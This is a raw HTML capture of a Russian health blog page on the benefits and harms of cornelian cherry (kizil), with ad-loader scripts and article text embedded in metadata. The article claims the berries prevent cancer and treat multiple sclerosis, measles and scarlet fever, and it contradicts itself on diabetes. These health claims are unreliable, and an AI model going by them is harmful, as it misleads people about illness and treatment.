PageSourceSearch

https://etopolezno.com/kizil/

html etopolezno.com collected 2026-10-02 18:22:06 UTC 246,199 bytes, 2,685 lines download raw bytes

1<!DOCTYPE html>
2<html lang="ru-RU">
3<head>
4	
5
6	<meta charset="UTF-8"/>
7	<meta name="viewport" content="width=device-width, initial-scale=1">
8		
8<script>
9    var block_classes = ["content_rb", "cnt32_rl_bg_str", "rl_cnt_bg"];
10
11    function addAttrItem(className) {
12        if (document.querySelector("." + className) && !block_classes.includes(className)) {
13            block_classes.push(className);
14        }
15    }
16</script>
16<script>
17                function onErrorPlacing() {
18                    if (typeof cachePlacing !== 'undefined' && typeof cachePlacing === 'function' && typeof window.jsInputerLaunch !== 'undefined' && [15, 10].includes(window.jsInputerLaunch)) {
19                        let errorInfo = [];
20                        cachePlacing('low',errorInfo);
21                    } else {
22                        setTimeout(function () {
23                            onErrorPlacing();
24                        }, 100)
25                    }
26                }
27                var xhr = new XMLHttpRequest();
28                xhr.open('GET',"//newrotatormarch23.bid/y5in.json",true);
29                xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
30                xhr.onreadystatechange = function() {
31                    if (xhr.status != 200) {
32                        if (xhr.statusText != 'abort') {
33                            onErrorPlacing();
34                        }
35                    }
36                };
37                xhr.send();
38            </script>
38<script type="text/javascript" src="//etopolezno.com/wp-content/y5in.js?ver=1.0.2" id="y5in-js" async=""></script>
38<script>console.log('ad: nun')</script>
38<script>
39                function onErrorPlacing() {
40                    if (typeof cachePlacing !== 'undefined' && typeof cachePlacing === 'function' && typeof window.jsInputerLaunch !== 'undefined' && [15, 10].includes(window.jsInputerLaunch)) {
41                        let errorInfo = [];
42                        cachePlacing('low',errorInfo);
43                    } else {
44                        setTimeout(function () {
45                            onErrorPlacing();
46                        }, 100)
47                    }
48                }
49                var xhr = new XMLHttpRequest();
50                xhr.open('GET',"//newrotatormarch23.bid/y5in.min.js",true);
51                xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
52                xhr.onreadystatechange = function() {
53                    if (xhr.status != 200) {
54                        if (xhr.statusText != 'abort') {
55                            onErrorPlacing();
56                        }
57                    }
58                };
59                xhr.send();
60            </script>
60<script type='text/javascript'> rbConfig={start:performance.now(),rbDomain:'newrotatormarch23.bid',rotator:'y5in'};token=localStorage.getItem('y5in')||(1e6+'').replace(/[018]/g, c => (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16));rsdfhse=document.createElement('script'); rsdfhse.setAttribute('src','//newrotatormarch23.bid/y5in.min.js?'+token);rsdfhse.setAttribute('async','async');rsdfhse.setAttribute('type','text/javascript');document.head.appendChild(rsdfhse); localStorage.setItem('y5in', token);</script>
60<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />
61
62	<!-- This site is optimized with the Yoast SEO plugin v20.10 - https://yoast.com/wordpress/plugins/seo/ -->
63	<title>Кизил: вред и польза для здоровья, полезные свойства и противопоказания, чем полезен для организма человека, обыкновенный, сушеный</title>
64	<meta name="description" content="Описание и состав. пищевая ценность и калорийность, полезные свойства цветов, ягод в стадии зрелости, листьев и коры кизила. Показания и противопоказания к применению для детей, мужчин и женщин разного возраста. Как выбирают, хранят и готовят растение." />
65	<link rel="canonical" href="https://etopolezno.com/kizil/" />
66	<meta name="twitter:label1" content="Написано автором" />
67	<meta name="twitter:data1" content="Это-полезно!" />
68	<meta name="twitter:label2" content="Примерное время для чтения" />
69	<meta name="twitter:data2" content="13 минут" />
70	<!-- / Yoast SEO plugin. -->
71
72
73<link rel='dns-prefetch' href='//fonts.googleapis.com' />
74<link rel='stylesheet' id='classic-theme-styles-css' href='https://etopolezno.com/wp-includes/css/classic-themes.min.css?ver=6.2.13' type='text/css' media='all' />
75<style id='global-styles-inline-css' type='text/css'>
76body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);
76--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--duotone--dark-grayscale: url('#wp-duotone-dark-grayscale');--wp--preset--duotone--grayscale: url('#wp-duotone-grayscale');--wp--preset--duotone--purple-yellow: url('#wp-duotone-purple-yellow');--wp--preset--duotone--blue-red: url('#wp-duotone-blue-red');--wp--preset--duotone--midnight: url('#wp-duotone-midnight');--wp--preset--duotone--magenta-yellow: url('#wp-duotone-magenta-yellow');--wp--preset--duotone--purple-green: url('#wp-duotone-purple-green');--wp--preset--duotone--blue-orange: url('#wp-duotone-blue-orange');--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}body .is-layout-flow > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-flow > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-flow > .aligncenter{margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-constrained > .aligncenter{margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > :where(:not(.alignleft):not(.alignright):not(.alignfull)){max-width: var(--wp--style--global--content-size);margin-left: auto !important;margin-right: auto !important;}body .is-layout-constrained > .alignwide{max-width: var(--wp--style--global--wide-size);}body .is-layout-flex{display: flex;}body .is-layout-flex{flex-wrap: wrap;align-items: center;}body .is-layout-flex > *{margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}
76.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
77.wp-block-navigation a:where(:not(.wp-element-button)){color: inherit;}
78:where(.wp-block-columns.is-layout-flex){gap: 2em;}
79.wp-block-pullquote{font-size: 1.5em;line-height: 1.6;}
80</style>
81<link rel='stylesheet' id='colormag_google_fonts-css' href='//fonts.googleapis.com/css?family=Open+Sans%3A400%2C600&#038;ver=6.2.13' type='text/css' media='all' />
82<!--[if lte IE 8]>
83<script type='text/javascript' src='https://etopolezno.com/wp-content/themes/colormag/js/html5shiv.min.js?ver=6.2.13' id='html5-js'></script>
83
84<![endif]-->
85<meta name="cdp-version" content="1.4.9" />
86
87<script type="application/ld+json" class="saswp-schema-markup-output">
88[{"@context":"https://schema.org/","@type":"Blogposting","@id":"https://etopolezno.com/kizil/#Blogposting","url":"https://etopolezno.com/kizil/","inLanguage":"ru-RU","mainEntityOfPage":"https://etopolezno.com/kizil/","headline":"Кизил: вред и польза растения для здоровья","description":"Кизил - это багровая ягода с красноватым отливом и сравнительно большой продолговатой косточкой. Растёт она на деревьях, которые тоже ценятся","articleBody":"Кизил - это багровая ягода с красноватым отливом и сравнительно большой продолговатой косточкой. Растёт она на деревьях, которые тоже ценятся как декоративные, поскольку цветут очень красиво. Мелкие соцветия появляются на ветках ещё до того, как проклюнутся первые листья, создавая необычное зрелище.  Разберёмся, какую пользу и вред для организма несут ягоды кизила, кому стоит употреблять их почаще и при каких заболеваниях натуральное лакомство окажется особенно полезным.      Что такое кизил  Разновидности  Лечебные свойства  Польза кизила в медицине  Кизил в косметологии  Противопоказания и меры предосторожности  Вред и польза кизила для здоровья  Как выбрать кизил  Как хранить  Что готовят из кизила      Что такое кизил  Несмотря на то, что кизил часто называют деревом, на самом деле это - кустарник, который исторически культивировали в Малой Азии и Восточной Европе. Уже тогда собранные ягоды купцы развозили по всем уголкам мира. Теперь же главными поставщиками плодов считают Кавказ и Крым.    В дикой природе кусты чаще располагаются в горах, однако также могут вырасти на берегу реки или на окраине леса. Сейчас многие дачники разводят растение и в своих садах из-за его эстетичного внешнего вида.  Удлинённые плоды с глянцевой кожицей с виду напоминают бруснику или клюкву. Внутри располагается продолговатая тонкая косточка. Цвет кожицы зависит от сорта растения и может доходить до чёрного, однако наиболее распространены красные ягодки.  Разновидности  Наиболее распространён кизил обыкновенный, однако в мире существует 50 видов этого растения. На территории России прижились только 8 из них:          Настоящий или европейский - дерево с тёмно-красными кисловатыми ягодами, отличающимися необычным запахом;      Корнус Официалис или лекарственный - широко используется в фармакологии и входит в состав препаратов против почечных и мочеполовых болезней;      Альпийский или шведский - в отличие от собратьев, не растёт как куст или дерево, а стелется по земле;      Канадский - отличается тем, что ягодки на ветках собираются в грозди;      Цветущий - декоративное дерево с длительным периодом цветения;      Нуталла - высокогорное дерево с яркими и крупными плодами;      Головчастый или земляной - растение с ярко-оранжевыми ягодами, которые растут гроздьями;      Коуза или японский - выделяется цветками с остроконечными лепестками и Ð
88½ÐµÐ¶Ð½Ð¾-розовыми плодами.      На дачном участке проще всего будет вырастить Кизил Настоящий, поскольку он не требует создания особых условий и бережного ухода.  Кизил: лечебные свойства  Целебные свойства кизила не заканчиваются только на витаминах и минералах, содержащихся в ягодах. Люди научились использовать разные части растения для лечения различных заболеваний.  Лечебные свойства ягод  У ягод кизила наблюдается масса полезных свойств. При регулярном и даже единоразовом употреблении ягоды:          Борются с простудами;      Помогают снять расстройство желудка;      Облегчают состояние при переедании;      Выводят из организма вредные вещества;      Улучшают работу сердца;      Стабилизируют кровоснабжение мозга;      Снимают головную боль;      Помогают в лечении рассеянного склероза на ранних стадиях;      Предотвращают образование тромбов;      Укрепляют сосуды;      Повышают гемоглобин;      Улучшают транспортировку кислорода по тканям организма;      Уменьшают хроническую усталость;      Препятствуют развитию рака.      Также употребление плодов улучшает свёртываемость крови, поэтому ещё одна польза компота из кизила - способность снизить интенсивность менструальных кровотечений у женщин. Рекомендуют его и при дизентерии или тифе - тут на помощь приходит антибактериальный эффект.  Лечебные свойства листьев, коры и цветов  Листья кизила принимают в форме настоя. Чтобы приготовить его, 1 столовую ложку толчёных сухихи листьев заливают стаканом кипятка. Пить рекомендуется небольшими порциями - по четверти кружки, но часто, трижды в день. В составе такого напитка 14% танина, чем и обусловлено вяжущее, мочегонное и желчегонное действие.  Также листья можно использовать наружно - достаточно сделать из них компресс и приложить на места, поражённые сыпью, экземой или дерматитом. А ещё их, вместе с цветками, добавляют в травяные чаи. Такое средство помогает снизить температуру при простуде и остановить диарею.  Кору нередко добавляют в лечебные ванны. Эта процедура снижает выраженность боли при ревматизме или артрите. Также отвар коры поможет справиться с геморроем.  Лечебные свойства косточек  Съев ягоды, не спешите выбрасывать косточки, ведь они обладают обширным набором полезных свойств:          Противовоспалительное;      Восстанавливающее;      Заживляющее;      Сосудосуживающее;      Вяжущее;      Антибактериальное.        Также их употребляют в период простуд или чрезмерных нагрузок. Косточки помогут взбодриться, повысить иммунитет и снизить утомляемость.  Чем полезен сушеный кизил  В процессе сушки ягодки не теряют полезных качеств. Поэтому сухофрукты - отличный способ поддержать иммунитет и восполнить дефицит витаминов в осенне-зимний период, когда побаÐ
88»Ð¾Ð²Ð°Ñ‚ÑŒ себя свежими фруктами и овощами становится труднее.      Обратите внимание! Энергетическая ценность у сушеного кизила куда выше, чем у свежего, так что считать его диетическим продуктом не стоит.    Чем полезен кизил для организма человека при применении в медицине  Это растение богато питательными веществами, витаминами и минералами, так что может оказать содействие в профилактике и лечении целого ряда заболеваний. Само собой, строить всю терапию только на кизиле не стоит. Однако ягоды могут стать полезной добавкой к рациону и помочь усилить эффект других лекарственных средств.  При сахарном диабете  Сами плоды при таком заболевании лучше не употреблять - это может стать нарушением строгой диеты, которая рекомендована диабетикам. А вот сок растения помогает снизить концентрацию глюкозы в крови, а также стимулирует работу пищеварительного тракта и поджелудочной железы.    Обратите внимание! Кизил обладает гликемическим индексом 25 единиц.    Чтобы получить максимальный эффект, пить сок лучше перед приёмом пищи. Стандартной дозой считается 100 мл, однако при хорошей переносимости этот показатель можно увеличить до 200. Правда, придерживаться этого правила непрерывно не стоит. Лучше будет проводить курсы по 10 дней, а затем делать перерыв на несколько суток.  При гастрите  Плоды растения отличаются повышенной кислотностью, так что при гастрите употреблять кизил и любые блюда из него стоит с осторожность. В период обострения заболеваний от ягод лучше совсем отказаться.  Впрочем, если хочется получить заряд витаминов, можно приготовить слабенький морс или компот. В таких напитках содержание кислот ниже, так что они не должны нанести вреда.  Для кишечника  Влияние на состояние кишечника оказывают дубильные вещества, содержащиеся в ягодах. Этот компонент налаживает обмен веществ, помогает справиться с расстройствами и повышает аппетит. Кстати, съедать с утра несколько плодов - отличная привычка, которой можно заменить более вредные кофе или энергетик. Тонизирующий эффект будет ничуть не хуже.  При запорах  Из-за вяжущего эффекта ягодки крепят, что становится особенно критичным, если у человека запор. Употреблять кизил при таком расстройстве нельзя. Разрешается добавить в рацион только слабые морсики и компоты на основе растения.  При подагре  Люди, страдающие от подагры и других нарушений обмена веществ особенно оценят способность кизила выводить из организма кислоты - мочевую и щавелевую. Помимо этого, употребление ягод поможет улучшить и состояние кожи. Содержащиеся в составе вещества помогут справиться как с мелкими воспалениями, так и с серьёзными проблемами вроде экземы.  Впрочем, для получения такого эф
88фекта не обязательно есть свежие плоды растения или готовить из них какие-то блюда. Также отлично подойдут отвары из коры и листьев. Такие напитки помогут и в борьбе с полиартритом и ревматизмом.  Для печени  Диетологи рекомендуют эти ягодки тем, кто страдает от токсичного гепатита или других нарушений работы печени. Всё благодаря гепатопротекторным свойствам мякоти. Деятельность органа активизируется, что позволяет быстрее снять воспаление и справиться с заражением.  Также кизил используют и как профилактическое средство. Например, он поможет сгладить негативные последствия неправильного питания - вывести токсичные вещества из организма. Помимо этого, ягоды оказывают антибактериальное действие и предотвращают развитие воспалений.  При геморрое  Достаточно употреблять 15 ягодок в день, чтобы снизить неприятные ощущения при геморрое, а в долгосрочной перспективе и вовсе избавиться от заболевания. В качестве замены подойдёт варенье или перетёртые в порошок косточки. Последние проглатывают по три раза в день по одной столовой ложке.  При похудении и диете  Кизил содержит всего 43 ккал на 100 г продукта. Однако его популярность в диетах для похудения обусловлена не только этим. Помимо низкой калорийности, ягоды выбирают из-за ряда свойств:          Мочегонный эффект;      Способность ускорять вывод желчи из организма;      Стабилизация обмена веществ;      Снижение уровня сахара в крови.      Больше того, благодаря плодам ограничения в питании переносятся проще, ведь такое дополнение к диете улучшает общее самочувствие, снимает головные боли и придаёт сил.  Для укрепления иммунитета  В ягодках содержится большое количество витамина С и других полезных компонентов. Так что регулярное употребление кизила поможет укрепить иммунитет.  При прочих заболеваниях  Лекарственные свойства плодов растения многообразны, так что он также поможет в лечении:          Цинги;      Анемии;      Гриппа;      Кори;      Лихорадки;      Скарлатины;      Нефрита.      Впрочем, и для полностью здорового человека такое лакомство станет отличным подспорьем, ведь поможет чувствовать себя бодрым и полным сил.  Кизил: чем он полезен при использование в косметологии  На основе ягод и коры кизила косметологические компании делают маски с противовоспалительным эффектом. Косточки часто становятся абразивом в составе скрабов. Кстати, изготовить подобные средства можно и в домашних условиях.    Маски для лица и волос, а также лосьоны и кремы будут обладать следующим действием:          Насыщать витаминами;      Увлажнять;      Тонизировать;      Очищать поры кожи;      Сглаживать морщины;      Удалять угри и жирный блеск.      Самый простой способ использовать ягоды в качестве домашнего косметического средства - приготовить отвар и ополоснуть им волосы. После полоскания локоны станут более упругими и послушными, а перхоть пропадёт.  Противопоказания и меры предосторожности  Помимо полезных свойств, у кизила есть и противопоказания. С особой осторожностью употреблять ягоды стоит людям, которые:          Страдают от гастрита или повышенной желудочной кислотности. Повышенное содержание кислот в мякоти способно вызвать обострение.      Периодически сталкиваются с запорами. Плоды могут усуг
88убить проблему или спровоцировать очередной эпизод.      Не достигли возраста 3 лет. Поскольку ягодки трудно перевариваются, в маленьком возрасте их употребление чревато проблемами с ЖКТ.      Беременны или кормят грудью. Высока вероятность возникновения аллергических реакций у ребёнка.      Кроме того, важно помнить о тонизирующем эффекте всех частей растения. Во избежание бессонницы употреблять его лучше утром или днём, но точно не на ночь. Также не стоит слишком увлекаться лакомством, иначе можно столкнуться с бессонницей и нервным перевозбуждением.  Кизил: вред и польза для здоровья мужчин, женщин, детей и пожилых людей  Часто кизил используют для регулировки обмена веществ. Эта ягода улучшает аппетит и повышает ферментативную активность поджелудочной железы, благодаря чему продукты питания усваиваются лучше. При этом лакомство не вызывает резких скачков глюкозы, поэтому подходит для диабетиков.  Разберём подробнее влияние такого угощения на разные категории людей.  Дл
88я женщин  Плоды богаты минералами и витаминами, поэтому их введение в рацион улучшает общее состояние кожи. Также они станут прекрасными помощниками в похудении: сами по себе ягодки низкокалорийны, да при этом ещё и разгоняют обмен веществ. Как приятный бонус, из организма будут выведены токсины и шлаки.  Для мужчин  Особенное внимание на кизил стоит обратить тем мужчинам, чья работа связана с серьёзными физическими или эмоциональными нагрузками. Такой род деятельности утомляет, вызывает стресс и снижает иммунитет. Поэтому щедрая доза полезных веществ будет кстати. Она поможет организму:          Проще справляться с повышенными нагрузками;      Быстрее восстанавливаться;      Эффективно бороться с заболеваниями.      Положительный эффект ягоды оказывают и на половую систему. У мужчин повышается потенция и усиливается влечение.  Для детей  Помимо витаминов, кизил содержит в своём составе сложные для переваривания вещества. Поэтому в полной мере вводить его в рацион можно только после 3 лет. Начинать прикорм детей меньшего возраста можно, но осторожно и строго соблюдая рекомендованные врачами дозировки. В противном случае можно столкнуться с:          Тяжестью в желудке;      Желудочной коликой;      Запорами;      Дискомфортными ощущениями в разных отделах ЖКТ.      При чрезмерном употреблении ягодки и вовсе могут вызвать тошноту и рвоту. Также высок риск проявления аллергии.  Для пожилых людей  В пожилом возрасте к ягодам лучше относиться осторожно. Их тонизирующий эффект и специфическое влияние на ЖКТ может привести к обострению хронических проблем. Так что перед тем как добавлять новое лакомство в свой рацион лучше проконсультироваться со врачом.  Как выбирать  При выборе ягод стоит обратить внимание на три критерия:          Цвет - поверхность должна быть ярко-красной, без светлых пятен;      Целостность - на кожице не должно быть повреждений, царапин и гнили;      Текстура - плоды не должны быть слишком твёрдыми или мягкими.      Также можно отметить запах - у спелых ягодок он будет заметным и приятным. Если все факторы сошлись, вкус наверняка не разочарует.  Как хранить  Сроки хранения зависят от того, были ли ягоды обработаны тем или иным образом. Например, свежий кизил может пролежать на полке в холодильнике до 10 дней и не утратить ни вкусовых, ни полезных качеств.  Дл
88я долгого хранения подойдет сушёный или вяленый кизил. Такое лакомство сохранит свои свойства даже через 2 года. Приготовить его просто - достаточно выложить спелые ягоды в один слой на куске плотной бумаги или ткани и периодически перемешивать их, чтобы добиться равномерности. При этом место должно хорошо проветриваться и быть защищённым от прямых солнечных лучей.    Обратите внимание! Важно, чтобы ягодки не были переспелыми, иначе засушить их не получится.    Ещё один способ продлить жизнь даров природы - заморозка. Ягоды тщательно промывают проточной водой и полностью высушивают, а затем равномерно распределяют по противню и помещают в морозилку. После заморозки можно расфасовать угощение по пакетикам для удобства хранения.  Что готовят из кизила  Существует масса рецептов, как из кизила самого по себе, так и с добавлением других фруктов и ягод. Чаще всего готовят:            Варенье из кизила - простое лакомство на зиму, для которого подойдут как перезрелые, так и ещё твёрдые плоды. Особый плюс этого рецепта в том, что косточки вынимать не придётся;      Джем - ещё одна сладкая заготовка, в которую часто добавляют и другие компоненты для более интересного вкуса;      Яблочный пирог - несмотря на то, что сочетание трудно назвать привычным, кизиловый вкус придаст изюминку домашней шарлотке;      Компот - витаминный напиток с терпким вкусом, который можно хранить в кладовой годами;      Вино - более экстравагантный вариант, в котором придётся подождать, пока пройдут процессы брожения. Однако итоговый вкус того стоит;      Наливка - требует долгого настаивания, но пьётся легко и снижает уровень интоксикации организма;      Соус - отлично подходит к мясу, но будет уместен и в других блюдах;      Пастила - диетическая сладость, которая получается особенно вкусной при добавлении орехов;      Маринованные или солёные ягодки - готовятся также просто, как привычные огурцы и помидоры, но точно удивят гостей во время застолья.      Насыщенный вкус кизила оставляет неисчерпаемый простор для экспериментов. А самое главное - вне зависимости от выбора блюда, Вы получите максимум пользы из ягод.","keywords":"","datePublished":"2024-10-29T13:43:58+03:00","dateModified":"2024-10-29T13:43:58+03:00","author":{"@type":"Person","name":"Это-полезно!","url":"https://etopolezno.com/author/crunk251/","sameAs":[],"image":{"@type":"ImageObject","url":"https://secure.gravatar.com/avatar/6e37ba3f8cf905c64ad36c1cd36f8141?s=96&d=mm&r=g","height":96,"width":96}},"editor":{"@type":"Person","name":"Это-полезно!","url":"https://etopolezno.com/author/crunk251/","sameAs":[],"image":{"@type":"ImageObject","url":"https://secure.gravatar.com/avatar/6e37ba3f8cf905c64ad36c1cd36f8141?s=96&d=mm&r=g","height":96,"width":96}},"publisher":{"@type":"Organization","name":"Блог о здоровом питании и образе жизни","url":"https://etopolezno.com","logo":{"@type":"ImageObject","url":"https://etopolezno.com/wp-content/uploads/2018/11/logo-2-600x60.png","width":"600","height":"60"}},"image":[{"@type":"ImageObject","@id":"https://etopolezno.com/kizil/#primaryimage","url":"https://etopolezno.com/wp-content/uploads/2024/10/Kizil-Glav.webp","width":"1880","height":"1200","caption":"Кизил - вред и польза"},{"@type":"ImageObject","url":"https://etopolezno.com/wp-content/uploads/2024/10/Kizil-Glav-1200x900.webp","width":"1200","height":"900","caption":"Кизил - вред и польза"},{"@type":"ImageObject","url":"https://etopolezno.com/wp-content/uploads/2024/10/Kizil-Glav-1200x675.webp","width":"1200","height":"675","caption":"Кизил - вред и польза"}]}]
89</script>
89
90
91<link rel="icon" href="https://etopolezno.com/wp-content/uploads/2018/11/cropped-icon-32x32.png" sizes="32x32" />
92<link rel="icon" href="https://etopolezno.com/wp-content/uploads/2018/11/cropped-icon-192x192.png" sizes="192x192" />
93<link rel="apple-touch-icon" href="https://etopolezno.com/wp-content/uploads/2018/11/cropped-icon-180x180.png" />
94<meta name="msapplication-TileImage" content="https://etopolezno.com/wp-content/uploads/2018/11/cropped-icon-270x270.png" />
95
96
97<style>
98    .coveredAd {
99        position: relative;
100        left: -5000px;
101        max-height: 1px;
102        overflow: hidden;
103    } 
104    #content_pointer_id {
105        display: block !important;
106        width: 100% !important;
107    }
108    .rfwp_removedMarginTop {
109        margin-top: 0 !important;
110    }
111    .rfwp_removedMarginBottom {
112        margin-bottom: 0 !important;
113    }
114</style>
115            
115<script>
116            var cou1 = 0;
117            if (typeof blockSettingArray==="undefined") {
118                var blockSettingArray = [];
119            } else {
120                if (Array.isArray(blockSettingArray)) {
121                    cou1 = blockSettingArray.length;
122                } else {
123                    var blockSettingArray = [];
124                }
125            }
126            if (typeof excIdClass==="undefined") {
127                var excIdClass = [".percentPointerClass",".content_rb",".cnt32_rl_bg_str",".rl_cnt_bg",".addedInserting","#toc_container","table","blockquote"];
128            }
129            if (typeof blockDuplicate==="undefined") {
130                var blockDuplicate = "no";
131            }                        
